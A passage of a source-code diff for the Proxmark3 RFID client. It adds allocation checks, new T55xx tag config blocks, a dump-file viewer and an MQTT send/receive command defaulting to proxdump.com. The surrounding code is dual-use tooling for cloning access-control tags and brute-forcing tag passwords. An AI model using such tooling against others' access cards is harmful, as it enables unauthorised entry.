+ free(r1); + free(r2); + free(r3); + return; + } snprintf(r0, r_len, "downlink - fixed bit length %s", (dl_mode_def == 0) ? "(detected def)" : ""); snprintf(r1, r_len, "downlink - long leading reference %s", (dl_mode_def == 1) ? "(detected def)" : ""); snprintf(r2, r_len, "downlink - leading zero %s", (dl_mode_def == 2) ? "(detected def)" : ""); @@ -358,6 +366,14 @@ static void arg_add_t55xx_downloadlink(void *at[], uint8_t *idx, uint8_t show, u if (show == T55XX_DLMODE_ALL) { char *r4 = (char *)calloc(r_count, sizeof(uint8_t)); + if (r4 == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(r0); + free(r1); + free(r2); + free(r3); + return; + } snprintf(r4, r_len, "try all downlink modes %s", (dl_mode_def == 4) ? "(def)" : ""); at[n++] = arg_lit0(NULL, "all", r4); } @@ -450,7 +466,7 @@ int clone_t55xx_tag(uint32_t *blockdata, uint8_t numblocks) { ng.flags = 0; SendCommandNG(CMD_LF_T55XX_WRITEBL, (uint8_t *)&ng, sizeof(ng)); - if (!WaitForResponseTimeout(CMD_LF_T55XX_WRITEBL, &resp, T55XX_WRITE_TIMEOUT)) { + if (WaitForResponseTimeout(CMD_LF_T55XX_WRITEBL, &resp, T55XX_WRITE_TIMEOUT) == false) { PrintAndLogEx(ERR, "Error occurred, device did not respond during write operation."); return PM3_ETIMEOUT; } @@ -648,7 +664,7 @@ int t55xxWrite(uint8_t block, bool page1, bool usepwd, bool testMode, uint32_t p PacketResponseNG resp; clearCommandBuffer(); SendCommandNG(CMD_LF_T55XX_WRITEBL, (uint8_t *)&ng, sizeof(ng)); - if (!WaitForResponseTimeout(CMD_LF_T55XX_WRITEBL, &resp, 2000)) { + if (WaitForResponseTimeout(CMD_LF_T55XX_WRITEBL, &resp, 2000) == false) { PrintAndLogEx(ERR, "Error occurred, device did not ACK write operation."); return PM3_ETIMEOUT; } @@ -900,7 +916,7 @@ int T55xxReadBlockEx(uint8_t block, bool page1, bool usepwd, uint8_t override, u if (t55xxTryDetectModulationEx(downlink_mode, false, 0, password) == false) { PrintAndLogEx(WARNING, "Safety check: Could not detect if PWD bit is set in config block. Exits."); - PrintAndLogEx(HINT, "Consider using the override parameter to force read."); + PrintAndLogEx(HINT, "Hint: Consider using the override parameter to force read."); return PM3_EWRONGANSWER; } else { PrintAndLogEx(WARNING, "Safety check: PWD bit is NOT set in config block. Reading without password..."); @@ -1550,6 +1566,8 @@ bool testKnownConfigBlock(uint32_t block0) { case T55X7_NEXWATCH_CONFIG_BLOCK: case T55X7_JABLOTRON_CONFIG_BLOCK: case T55X7_PYRONIX_CONFIG_BLOCK: + case T55X7_TEXECOM_CONFIG_BLOCK: + case T55X7_BETECH_CONFIG_BLOCK: return true; } return false; @@ -1940,7 +1958,7 @@ static int CmdT55xxDangerousRaw(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_str1("d", "data", NULL, "raw bit string"), + arg_str1("d", "data", "", "raw bit string"), arg_int1("t", "time", "", "<0 - 200000> time in microseconds before dropping the field"), arg_param_end }; @@ -1952,7 +1970,7 @@ static int CmdT55xxDangerousRaw(const char *Cmd) { ng.bitlen = 0; memset(ng.data, 0x00, sizeof(ng.data)); - uint8_t bin[128] = {0}; + uint8_t bin[129] = {0}; int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 1, bin, &bin_len); @@ -1974,7 +1992,7 @@ static int CmdT55xxDangerousRaw(const char *Cmd) { PacketResponseNG resp; clearCommandBuffer(); SendCommandNG(CMD_LF_T55XX_DANGERRAW, (uint8_t *)&ng, sizeof(ng)); - if (!WaitForResponseTimeout(CMD_LF_T55XX_DANGERRAW, &resp, 2000)) { + if (WaitForResponseTimeout(CMD_LF_T55XX_DANGERRAW, &resp, 2000) == false) { PrintAndLogEx(ERR, "Error occurred, device did not ACK write operation."); return PM3_ETIMEOUT; } @@ -2298,12 +2316,18 @@ static void printT5x7KnownBlock0(uint32_t b0) { case T55X7_PYRONIX_CONFIG_BLOCK: snprintf(s + strlen(s), sizeof(s) - strlen(s), "Pyronix "); break; + case T55X7_TEXECOM_CONFIG_BLOCK: + snprintf(s + strlen(s), sizeof(s) - strlen(s), "Texecom "); + break; + case T55X7_BETECH_CONFIG_BLOCK: + snprintf(s + strlen(s), sizeof(s) - strlen(s), "Be-Tech "); + break; default: break; } if (strlen(s) > 0) { - PrintAndLogEx(SUCCESS, "Config block match : " _YELLOW_("%s"), s); + PrintAndLogEx(SUCCESS, "Config block match... " _YELLOW_("%s"), s); } } @@ -2816,7 +2840,7 @@ bool AcquireData(uint8_t page, uint8_t block, bool pwdmode, uint32_t password, u clearCommandBuffer(); SendCommandNG(CMD_LF_T55XX_READBL, (uint8_t *)&payload, sizeof(payload)); - if (!WaitForResponseTimeout(CMD_LF_T55XX_READBL, NULL, 2500)) { + if (WaitForResponseTimeout(CMD_LF_T55XX_READBL, NULL, 2500) == false) { PrintAndLogEx(WARNING, "command execution time out"); return false; } @@ -3176,7 +3200,7 @@ static int CmdResetRead(const char *Cmd) { uint16_t gotsize = g_pm3_capabilities.bigbuf_size - 1; uint8_t *got = calloc(gotsize, sizeof(uint8_t)); if (got == NULL) { - PrintAndLogEx(WARNING, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -3411,7 +3435,7 @@ static int CmdT55xxChkPwds(const char *Cmd) { PacketResponseNG resp; uint8_t timeout = 0; - while (!WaitForResponseTimeout(CMD_LF_T55XX_CHK_PWDS, &resp, 2000)) { + while (WaitForResponseTimeout(CMD_LF_T55XX_CHK_PWDS, &resp, 2000) == false) { timeout++; PrintAndLogEx(NORMAL, "." NOLF); if (timeout > 180) { @@ -4266,7 +4290,7 @@ static int CmdT55xxProtect(const char *Cmd) { return PM3_SUCCESS; } -// if the difference between a and b is less then or eq to d i.e. does a = b +/- d +// if the difference between a and b is less than or eq to d i.e. does a = b +/- d #define APPROX_EQ(a, b, d) ((abs(a - b) <= d) ? true : false) static uint8_t t55sniff_get_packet(const int *pulseBuffer, char *data, uint8_t width0, uint8_t width1, uint8_t tolerance) { @@ -4670,6 +4694,74 @@ static int CmdT55xxSniff(const char *Cmd) { return PM3_SUCCESS; } +static int CmdT55xxView(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf t55xx view", + "Print a T55xx dump file (bin/eml/json)\n", + "lf t55xx view -f lf-t55xx-00000000-11111111-22222222-33333333-dump.bin" + ); + void *argtable[] = { + arg_param_begin, + arg_str1("f", "file", "", "Specify a filename for dump file"), + arg_lit0("v", "verbose", "verbose output"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + int fnlen = 0; + char filename[FILE_PATH_SIZE]; + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + // bool verbose = arg_get_lit(ctx, 2); + CLIParserFree(ctx); + + if (fnlen == 0) { + PrintAndLogEx(ERR, "Must specify a filename"); + return PM3_EINVARG; + } + + // read dump file + uint32_t *dump = NULL; + size_t bytes_read = 0; + int res = pm3_load_dump(filename, (void **)&dump, &bytes_read, (T55x7_BLOCK_COUNT * 4)); + if (res != PM3_SUCCESS) { + return res; + } + + if (bytes_read != (T55x7_BLOCK_COUNT * 4)) { + free(dump); + PrintAndLogEx(FAILED, "wrong length of dump file. Expected 48 bytes, got %zu", bytes_read); + return PM3_EFILE; + } + + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(SUCCESS, " " _CYAN_("Page 0")); + PrintAndLogEx(SUCCESS, "----+----------+-------"); + PrintAndLogEx(SUCCESS, "blk | hex data | ascii"); + PrintAndLogEx(SUCCESS, "----+----------+-------"); + + uint32_t *pd = dump; + uint8_t tmp[4] = {0}; + for (uint8_t i = 0; i < 8; ++i) { + Uint4byteToMemLe(tmp, *pd); + PrintAndLogEx(SUCCESS, " %02d | %s | %s", i, sprint_hex_inrow(tmp, sizeof(tmp)), sprint_ascii(tmp, 4)); + pd++; + } + PrintAndLogEx(INFO, ""); + PrintAndLogEx(SUCCESS, " " _CYAN_("Page 1")); + PrintAndLogEx(SUCCESS, "----+----------+-------"); + PrintAndLogEx(SUCCESS, "blk | hex data | ascii"); + PrintAndLogEx(SUCCESS, "----+----------+-------"); + for (uint8_t i = 0; i < 4; i++) { + Uint4byteToMemLe(tmp, *pd); + PrintAndLogEx(SUCCESS, " %02d | %s | %s", i, sprint_hex_inrow(tmp, sizeof(tmp)), sprint_ascii(tmp, 4)); + pd++; + } + PrintAndLogEx(NORMAL, ""); + free(dump); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"-----------", CmdHelp, AlwaysAvailable, "---------------------------- " _CYAN_("notice") " -----------------------------"}, {"", CmdHelp, AlwaysAvailable, "Remember to run `" _YELLOW_("lf t55xx detect") "` first whenever a new card"}, @@ -4690,6 +4782,7 @@ static command_t CommandTable[] = { {"restore", CmdT55xxRestore, IfPm3Lf, "Restore T55xx card Page 0 / Page 1 blocks"}, {"trace", CmdT55xxReadTrace, AlwaysAvailable, "Show T55x7 traceability data (page 1/ blk 0-1)"}, {"wakeup", CmdT55xxWakeUp, IfPm3Lf, "Send AOR wakeup command"}, + {"view", CmdT55xxView, AlwaysAvailable, "Display content from tag dump file"}, {"write", CmdT55xxWriteBlock, IfPm3Lf, "Write T55xx block data"}, {"-----------", CmdHelp, AlwaysAvailable, "--------------------- " _CYAN_("recovery") " ---------------------"}, {"bruteforce", CmdT55xxBruteForce, IfPm3Lf, "Simple bruteforce attack to find password"}, diff --git a/client/src/cmdlft55xx.h b/client/src/cmdlft55xx.h index c3b8c31df..70f861bae 100644 --- a/client/src/cmdlft55xx.h +++ b/client/src/cmdlft55xx.h @@ -43,6 +43,8 @@ #define T55X7_SECURAKEY_CONFIG_BLOCK 0x000C8060 // ASK, Manchester, data rate 40, 3 data blocks #define T55X7_UNK_CONFIG_BLOCK 0x000880FA // ASK, Manchester, data rate 32, 7 data blocks STT, Inverse ... #define T55X7_PYRONIX_CONFIG_BLOCK 0x00088C40 // ASK, Manchester, data rate 32, 2 data blocks +#define T55X7_TEXECOM_CONFIG_BLOCK 0x001C8020 // ASK, Manchester, data rate 128, 1 data block +#define T55X7_BETECH_CONFIG_BLOCK 0x001480E0 // ASK, Manchester, data rate 64, 7 data block // FDXB requires data inversion and BiPhase 57 is simply BiPhase 50 inverted, so we can either do it using the modulation scheme or the inversion flag // we've done both below to prove that it works either way, and the modulation value for BiPhase 50 in the Atmel data sheet of binary "10001" (17) is a typo, diff --git a/client/src/cmdlfti.c b/client/src/cmdlfti.c index 4a5dcc18a..17d843a7c 100644 --- a/client/src/cmdlfti.c +++ b/client/src/cmdlfti.c @@ -325,7 +325,7 @@ static int CmdTIReader(const char *Cmd) { do { clearCommandBuffer(); SendCommandNG(CMD_LF_TI_READ, NULL, 0); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -369,8 +369,8 @@ static int CmdTIWrite(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_LF_TI_WRITE, (uint8_t *)&payload, sizeof(payload)); - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf ti reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf ti reader`") " to verify"); return PM3_SUCCESS; } diff --git a/client/src/cmdlfverichip_disabled.c b/client/src/cmdlfverichip_disabled.c index 3a69b3a92..b524f9e57 100644 --- a/client/src/cmdlfverichip_disabled.c +++ b/client/src/cmdlfverichip_disabled.c @@ -137,8 +137,8 @@ static int CmdVerichipClone(const char *Cmd) { print_blocks(blocks, ARRAYLEN(blocks)); int res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf verichip read`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf verichip read`") " to verify"); return res; } diff --git a/client/src/cmdlfviking.c b/client/src/cmdlfviking.c index 3ed4c83fb..7c206af4b 100644 --- a/client/src/cmdlfviking.c +++ b/client/src/cmdlfviking.c @@ -102,7 +102,7 @@ static int CmdVikingReader(const char *Cmd) { do { lf_read(false, 10000); demodViking(true); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -172,12 +172,12 @@ static int CmdVikingClone(const char *Cmd) { SendCommandNG(CMD_LF_VIKING_CLONE, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_LF_VIKING_CLONE, &resp, T55XX_WRITE_TIMEOUT)) { + if (WaitForResponseTimeout(CMD_LF_VIKING_CLONE, &resp, T55XX_WRITE_TIMEOUT) == false) { PrintAndLogEx(ERR, "Error occurred, device did not respond during write operation."); return PM3_ETIMEOUT; } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf viking reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try " _YELLOW_("`lf viking reader`") " to verify"); return resp.status; } @@ -218,6 +218,10 @@ static int CmdVikingSim(const char *Cmd) { num_to_bytebits(rawID, sizeof(bs), bs); lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 1; payload->invert = 0; payload->separator = 0; diff --git a/client/src/cmdlfvisa2000.c b/client/src/cmdlfvisa2000.c index 5e473fcf3..092f38e30 100644 --- a/client/src/cmdlfvisa2000.c +++ b/client/src/cmdlfvisa2000.c @@ -185,7 +185,7 @@ static int CmdVisa2kReader(const char *Cmd) { do { lf_read(false, 20000); demodVisa2k(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -244,8 +244,8 @@ static int CmdVisa2kClone(const char *Cmd) { } else { res = clone_t55xx_tag(blocks, ARRAYLEN(blocks)); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`lf visa2000 reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf visa2000 reader") "` to verify"); return res; } @@ -276,6 +276,10 @@ static int CmdVisa2kSim(const char *Cmd) { num_to_bytebits(blocks[i], 32, bs + i * 32); lf_asksim_t *payload = calloc(1, sizeof(lf_asksim_t) + sizeof(bs)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->encoding = 1; payload->invert = 0; payload->separator = 1; diff --git a/client/src/cmdlfzx8211.c b/client/src/cmdlfzx8211.c index 03fcd6053..793cc3d54 100644 --- a/client/src/cmdlfzx8211.c +++ b/client/src/cmdlfzx8211.c @@ -138,7 +138,7 @@ static int CmdzxReader(const char *Cmd) { do { lf_Zx_read(); demodzx(!cm); - } while (cm && !kbd_enter_pressed()); + } while (cm && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } diff --git a/client/src/cmdmain.c b/client/src/cmdmain.c index b738fe620..9ab88324b 100644 --- a/client/src/cmdmain.c +++ b/client/src/cmdmain.c @@ -48,6 +48,7 @@ #include "commonutil.h" // ARRAYLEN #include "preferences.h" #include "cliparser.h" +#include "cmdmqtt.h" static int CmdHelp(const char *Cmd); @@ -59,6 +60,12 @@ static void AppendDate(char *s, size_t slen, const char *fmt) { #else ct = gmtime_r(&now, &tm_buf); #endif + if (ct == NULL) { + PrintAndLogEx(WARNING, "gmtime failed"); + return; + } + + // If no format is specified, use ISO8601 if (fmt == NULL) strftime(s, slen, "%Y-%m-%dT%H:%M:%SZ", ct); // ISO8601 else @@ -332,6 +339,7 @@ static command_t CommandTable[] = { {"hw", CmdHW, AlwaysAvailable, "{ Hardware commands... }"}, {"lf", CmdLF, AlwaysAvailable, "{ Low frequency commands... }"}, {"mem", CmdFlashMem, IfPm3Flash, "{ Flash memory manipulation... }"}, + {"mqtt", CmdMqtt, AlwaysAvailable, "{ MQTT commmands... }"}, {"nfc", CmdNFC, AlwaysAvailable, "{ NFC commands... }"}, {"piv", CmdPIV, AlwaysAvailable, "{ PIV commands... }"}, {"reveng", CmdRev, AlwaysAvailable, "{ CRC calculations from RevEng software... }"}, diff --git a/client/src/cmdmqtt.c b/client/src/cmdmqtt.c new file mode 100644 index 000000000..1a0ea15ae --- /dev/null +++ b/client/src/cmdmqtt.c @@ -0,0 +1,422 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// MQTT commands +//----------------------------------------------------------------------------- +#include "cmdmqtt.h" + +#include "cmdparser.h" +#include "cliparser.h" +#include "mqtt.h" // MQTT support +//#include "mbedtls_sockets.h" // MQTT networkings examples + +#ifndef _WIN32 +#include "posix_sockets.h" // MQTT networkings examples +#else +#include "win32_sockets.h" // MQTT networkings examples +#endif +#include "util_posix.h" // time +#include "fileutils.h" + +#define MQTT_BUFFER_SIZE ( 1 << 16 ) + +static int CmdHelp(const char *Cmd); + +static void mqtt_publish_callback(void **unused, struct mqtt_response_publish *published) { + + if (published == NULL) { + return; + } + + + // note that published->topic_name is NOT null-terminated (here we'll change it to a c-string) + char *topic_name = (char *) calloc(published->topic_name_size + 1, 1); + memcpy(topic_name, published->topic_name, published->topic_name_size); + + const char *msg = published->application_message; + + char *ps = strstr(msg, "Created\": \"proxmark3"); + if (ps) { + int res = saveFileTXT("ice_mqtt", ".json", msg, published->application_message_size, spDefault); + if (res == PM3_SUCCESS) { + PrintAndLogEx(INFO, "Got a json file ( %s )", _GREEN_("ok")); + } + } else { + PrintAndLogEx(SUCCESS, _GREEN_("%s") " - ( %zu ) " _YELLOW_("%s"), topic_name, published->application_message_size, msg); + } + free(topic_name); +} + +static volatile int mqtt_client_should_exit = 0; + +static void *mqtt_client_refresher(void *client) { + while (!mqtt_client_should_exit) { + mqtt_sync((struct mqtt_client *) client); + msleep(100); + } + return NULL; +} +static int mqtt_exit(int status, mqtt_pal_socket_handle sockfd, pthread_t *client_daemon) { + close_nb_socket(sockfd); + if (client_daemon != NULL) { + mqtt_client_should_exit = 1; + pthread_join(*client_daemon, NULL); // Wait for the thread to finish + mqtt_client_should_exit = 0; + } + return status; +} + +/* +static void mqtt_reconnect_client(struct mqtt_client* client, void **reconnect_state_vptr) { + + struct reconnect_state_t *rs = *((struct reconnect_state_t**) reconnect_state_vptr); + + // Close the clients socket if this isn't the initial reconnect call + if (client->error != MQTT_ERROR_INITIAL_RECONNECT) { + close_nb_socket(client->socketfd); + } + + if (client->error != MQTT_ERROR_INITIAL_RECONNECT) { + PrintAndLogEx(INFO, "reconnect_client: called while client was in error state `%s`", mqtt_error_str(client->error)); + } + + int sockfd = open_nb_socket(rs->hostname, rs->port); + if (sockfd == -1) { + PrintAndLogEx(FAILED, "Failed to open socket"); + mqtt_exit(PM3_EFAILED, sockfd, NULL); + } + + // Reinitialize the client. + mqtt_reinit(client, sockfd, rs->sendbuf, rs->sendbufsz, rs->recvbuf, rs->recvbufsz); + + const char* client_id = NULL; + + uint8_t connect_flags = MQTT_CONNECT_CLEAN_SESSION; + + mqtt_connect(client, client_id, NULL, NULL, 0, NULL, NULL, connect_flags, 400); + + mqtt_subscribe(client, rs->topic, 0); +} +*/ + +static int mqtt_receive(const char *addr, const char *port, const char *topic, const char *fn) { + // open the non-blocking TCP socket (connecting to the broker) + mqtt_pal_socket_handle sockfd = open_nb_socket(addr, port); + if (sockfd == -1) { + PrintAndLogEx(FAILED, "Failed to open socket"); + return mqtt_exit(PM3_EFAILED, sockfd, NULL); + } + + uint8_t sendbuf[MQTT_BUFFER_SIZE]; // 64kb sendbuf should be large enough to hold multiple whole mqtt messages + uint8_t recvbuf[MQTT_BUFFER_SIZE]; // 64kb recvbuf should be large enough any whole mqtt message expected to be received + + struct mqtt_client client; + + /* + struct reconnect_state_t rs; + rs.hostname = addr; + rs.port = port; + rs.topic = topic; + rs.sendbuf = sendbuf; + rs.sendbufsz = sizeof(sendbuf); + rs.recvbuf = recvbuf; + rs.recvbufsz = sizeof(recvbuf); + mqtt_init_reconnect(&client, mqtt_reconnect_client, &rs, mqtt_publish_callback); + */ + + mqtt_init(&client, sockfd, sendbuf, sizeof(sendbuf), recvbuf, sizeof(recvbuf), mqtt_publish_callback); + + char cid[20] = "pm3_"; + sprintf(cid + strlen(cid), "%02x%02x%02x%02x" + , rand() % 0xFF + , rand() % 0xFF + , rand() % 0xFF + , rand() % 0xFF + ); + + // Ensure we have a clean session + uint8_t connect_flags = MQTT_CONNECT_CLEAN_SESSION; + // Send connection request to the broker + mqtt_connect(&client, cid, NULL, NULL, 0, NULL, NULL, connect_flags, 400); + + // check that we don't have any errors + if (client.error != MQTT_OK) { + PrintAndLogEx(FAILED, "error: %s", mqtt_error_str(client.error)); + return mqtt_exit(PM3_ESOFT, sockfd, NULL); + } + + // start a thread to refresh the client (handle egress and ingree client traffic) + pthread_t client_daemon; + if (pthread_create(&client_daemon, NULL, mqtt_client_refresher, &client)) { + PrintAndLogEx(FAILED, "Failed to start client daemon"); + return mqtt_exit(PM3_ESOFT, sockfd, NULL); + } + + // subscribe to a topic with a max QoS level of 0 + mqtt_subscribe(&client, topic, 0); + + PrintAndLogEx(INFO, _CYAN_("%s") " listening at " _CYAN_("%s:%s/%s"), cid, addr, port, topic); + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + + while (kbd_enter_pressed() == false) { + msleep(2000); + }; + + PrintAndLogEx(INFO, _CYAN_("%s") " disconnecting from " _CYAN_("%s"), cid, addr); + return mqtt_exit(PM3_SUCCESS, sockfd, &client_daemon); +} + +static int mqtt_send(const char *addr, const char *port, const char *topic, char *msg, const char *fn) { + + uint8_t *data; + size_t bytes_read = 0; + if (fn != NULL) { + int res = loadFile_TXTsafe(fn, "", (void **)&data, &bytes_read, true); + if (res != PM3_SUCCESS) { + return res; + } + } + + // open the non-blocking TCP socket (connecting to the broker) + int sockfd = open_nb_socket(addr, port); + + if (sockfd == -1) { + PrintAndLogEx(FAILED, "Failed to open socket"); + return mqtt_exit(PM3_EFAILED, sockfd, NULL); + } + + struct mqtt_client client; + uint8_t sendbuf[MQTT_BUFFER_SIZE]; + uint8_t recvbuf[MQTT_BUFFER_SIZE]; + mqtt_init(&client, sockfd, sendbuf, sizeof(sendbuf), recvbuf, sizeof(recvbuf), mqtt_publish_callback); + + char cid[20] = "pm3_"; + sprintf(cid + strlen(cid), "%02x%02x%02x%02x" + , rand() % 0xFF + , rand() % 0xFF + , rand() % 0xFF + , rand() % 0xFF + ); + + // Ensure we have a clean session + uint8_t connect_flags = MQTT_CONNECT_CLEAN_SESSION; + // Send connection request to the broker + mqtt_connect(&client, cid, NULL, NULL, 0, NULL, NULL, connect_flags, 400); + + // check that we don't have any errors + if (client.error != MQTT_OK) { + PrintAndLogEx(FAILED, "error: %s", mqtt_error_str(client.error)); + mqtt_exit(PM3_EFAILED, sockfd, NULL); + } + + // start a thread to refresh the client (handle egress and ingree client traffic) + pthread_t client_daemon; + if (pthread_create(&client_daemon, NULL, mqtt_client_refresher, &client)) { + PrintAndLogEx(FAILED, "Failed to start client daemon"); + mqtt_exit(PM3_EFAILED, sockfd, NULL); + + } + + PrintAndLogEx(INFO, _CYAN_("%s") " is ready", cid); + + if (fn != NULL) { + PrintAndLogEx(INFO, "Publishing file..."); + mqtt_publish(&client, topic, data, bytes_read, MQTT_PUBLISH_QOS_0); + } else { + PrintAndLogEx(INFO, "Publishing message..."); + mqtt_publish(&client, topic, msg, strlen(msg) + 1, MQTT_PUBLISH_QOS_0); + } + + if (client.error != MQTT_OK) { + PrintAndLogEx(INFO, "error: %s", mqtt_error_str(client.error)); + mqtt_exit(PM3_ESOFT, sockfd, &client_daemon); + } + + msleep(4000); + + PrintAndLogEx(INFO, _CYAN_("%s") " disconnecting from " _CYAN_("%s"), cid, addr); + return mqtt_exit(PM3_SUCCESS, sockfd, &client_daemon); +} + +static int CmdMqttSend(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "mqtt send", + "This command send MQTT messages. You can send JSON file\n" + "Default server: proxdump.com:1883 topic: proxdump\n", + "mqtt send --msg \"Hello from Pm3\" --> sending msg to default server/port/topic\n" + "mqtt send -f myfile.json --> sending file to default server/port/topic\n" + "mqtt send --addr test.mosquitto.org -p 1883 --topic pm3 --msg \"custom mqtt server \"\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0(NULL, "addr", "", "MQTT server address"), + arg_str0("p", "port", "", "MQTT server port"), + arg_str0(NULL, "topic", "", "MQTT topic"), + arg_str0(NULL, "msg", "", "Message to send over MQTT"), + arg_str0("f", "file", "", "file to send"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int alen = 0; + char addr[256] = {0x00}; + int res = CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)addr, sizeof(addr), &alen); + + int plen = 0; + char port[10 + 1] = {0x00}; + res = CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)port, sizeof(port), &plen); + + int tlen = 0; + char topic[128] = {0x00}; + res = CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)topic, sizeof(topic), &tlen); + + int mlen = 0; + char msg[128] = {0x00}; + res = CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)msg, sizeof(msg), &mlen); + + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 5), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + + CLIParserFree(ctx); + + // Error message if... an error occured. + if (res) { + PrintAndLogEx(FAILED, "Error parsing input strings"); + return PM3_EINVARG; + } + + if (alen == 0) { + if (strlen(g_session.mqtt_server)) { + strcpy(addr, g_session.mqtt_server); + } else { + strcpy(addr, "proxdump.com"); + } + } + + if (plen == 0) { + if (strlen(g_session.mqtt_port)) { + strcpy(port, g_session.mqtt_port); + } else { + strcpy(port, "1883"); + } + } + + if (tlen == 0) { + if (strlen(g_session.mqtt_topic)) { + strcpy(topic, g_session.mqtt_topic); + } else { + strcpy(topic, "proxdump"); + } + } + + if (fnlen) { + return mqtt_send(addr, port, topic, NULL, filename); + } + + if (mlen) { + return mqtt_send(addr, port, topic, msg, NULL); + } + return PM3_SUCCESS; +} + +static int CmdMqttReceive(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "mqtt receive", + "This command receives MQTT messages. JSON text will be saved to file if detected\n" + "Default server: proxdump.com:1883 topic: proxdump\n", + "mqtt receive --> listening to default server/port/topic\n" + "mqtt receive --addr test.mosquitto.org -p 1883 --topic pm3\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0(NULL, "addr", "", "MQTT server address"), + arg_str0("p", "port", "", "MQTT server port"), + arg_str0(NULL, "topic", "", "MQTT topic"), + arg_str0("f", "file", "", "file name to use for received files"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + int alen = 0; + char addr[256] = {0x00}; + int res = CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)addr, sizeof(addr), &alen); + + int plen = 0; + char port[10 + 1] = {0x00}; + res = CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)port, sizeof(port), &plen); + + int tlen = 0; + char topic[128] = {0x00}; + res = CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)topic, sizeof(topic), &tlen); + + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + + CLIParserFree(ctx); + + // Error message if... an error occured. + if (res) { + PrintAndLogEx(FAILED, "Error parsing input strings"); + return PM3_EINVARG; + } + + if (alen == 0) { + if (strlen(g_session.mqtt_server)) { + strcpy(addr, g_session.mqtt_server); + } else { + strcpy(addr, "proxdump.com"); + } + } + + if (plen == 0) { + if (strlen(g_session.mqtt_port)) { + strcpy(port, g_session.mqtt_port); + } else { + strcpy(port, "1883"); + } + } + + if (tlen == 0) { + if (strlen(g_session.mqtt_topic)) { + strcpy(topic, g_session.mqtt_topic); + } else { + strcpy(topic, "proxdump"); + } + } + + return mqtt_receive(addr, port, topic, filename); +} + +static command_t CommandTable[] = { + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"send", CmdMqttSend, AlwaysAvailable, "Send messages or json file over MQTT"}, + {"receive", CmdMqttReceive, AlwaysAvailable, "Receive message or json file over MQTT"}, + {NULL, NULL, NULL, NULL} +}; + +static int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return 0; +} + +int CmdMqtt(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} diff --git a/client/src/cmdmqtt.h b/client/src/cmdmqtt.h new file mode 100644 index 000000000..fad58ff8f --- /dev/null +++ 